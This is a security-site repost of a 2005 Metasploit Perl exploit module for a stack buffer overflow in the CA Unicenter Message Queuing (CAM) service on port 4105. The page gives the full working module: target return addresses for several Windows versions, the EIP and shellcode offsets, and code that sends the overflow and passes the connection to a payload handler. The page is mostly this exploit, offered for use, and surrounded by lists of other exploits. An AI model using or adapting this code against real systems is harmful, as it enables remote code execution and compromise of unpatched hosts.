首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Computer Associates Unicenter Message Queuing Buffer Overflow Exploit
来源:www.metasploit.com 作者:H D Moore 发布时间:2005-10-19  

Computer Associates Unicenter Message Queuing Buffer Overflow Exploit


Port : 4105

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cacam_logsecurity_win32;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'CA CAM log_security() Stack Overflow (Win32)',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 4105],
},

'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a vulnerability in the CA CAM service by passing
a long parameter to the log_security() function. The CAM service is part
of TNG Unicenter. This module has been tested on Unicenter v3.1.
}),

'Refs' =>
[

],

'DefaultTarget' => 0,
'Targets' =>
[
# W2API.DLL @ 0x01950000 - return to ESI
# $Header: /home/mscvs/framework/exploits/cacam_logsecurity_win32.pm,v 1.1 2005/10/15 14:13:50 hdm Exp $
['W2API.DLL TNG 2.3', 0x01951107],

# return to ESI in ws2help.dll
['Windows 2000 SP0-SP4 English', 0x750217ae],
['Windows XP SP0-SP1 English', 0x71aa16e5],
['Windows XP SP2 English', 0x71aa1b22],
['Windows 2003 SP0 English', 0x71bf175f],
],

'Keys' => ['cam'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);


my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

my $pattern = Pex::Text::EnglishText(4096);

# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
substr($pattern, 1016, 4, pack('V', $target->[1]));
substr($pattern, 1052, length($shellcode), $shellcode);

my $req =
"\xfa\xf9\x00\x10" . $pattern . "\x00";

my $ack = $s->Recv(4, 5);
if ($ack ne "ACK\x00") {
$self->PrintLine("[*] The CAM service is not responding.");
return;
}
$s->Send($req);
$s->Recv(-1,1);
$self->Handler($s);
$s->Close();

return;
}

1;




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP-UX FTP Server Pre-authentic
·HP-UX LPD Service Buffer Overf
·TYPSoft FTP Server RETR DoS
·MailEnable Pro 1.x STATUS Comm
·Lynx Browser NNTP Handling Rem
·RSA SecurID Web Agent IISWebAg
·Microsoft Collaboration Data O
·MySpace Worm Source Code
·Microsoft Windows Network Conn
·XMail -t Command Line Option H
·Microsoft Windows FTP Client F
·Ethereal SLIMP3 Protocol Disse
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved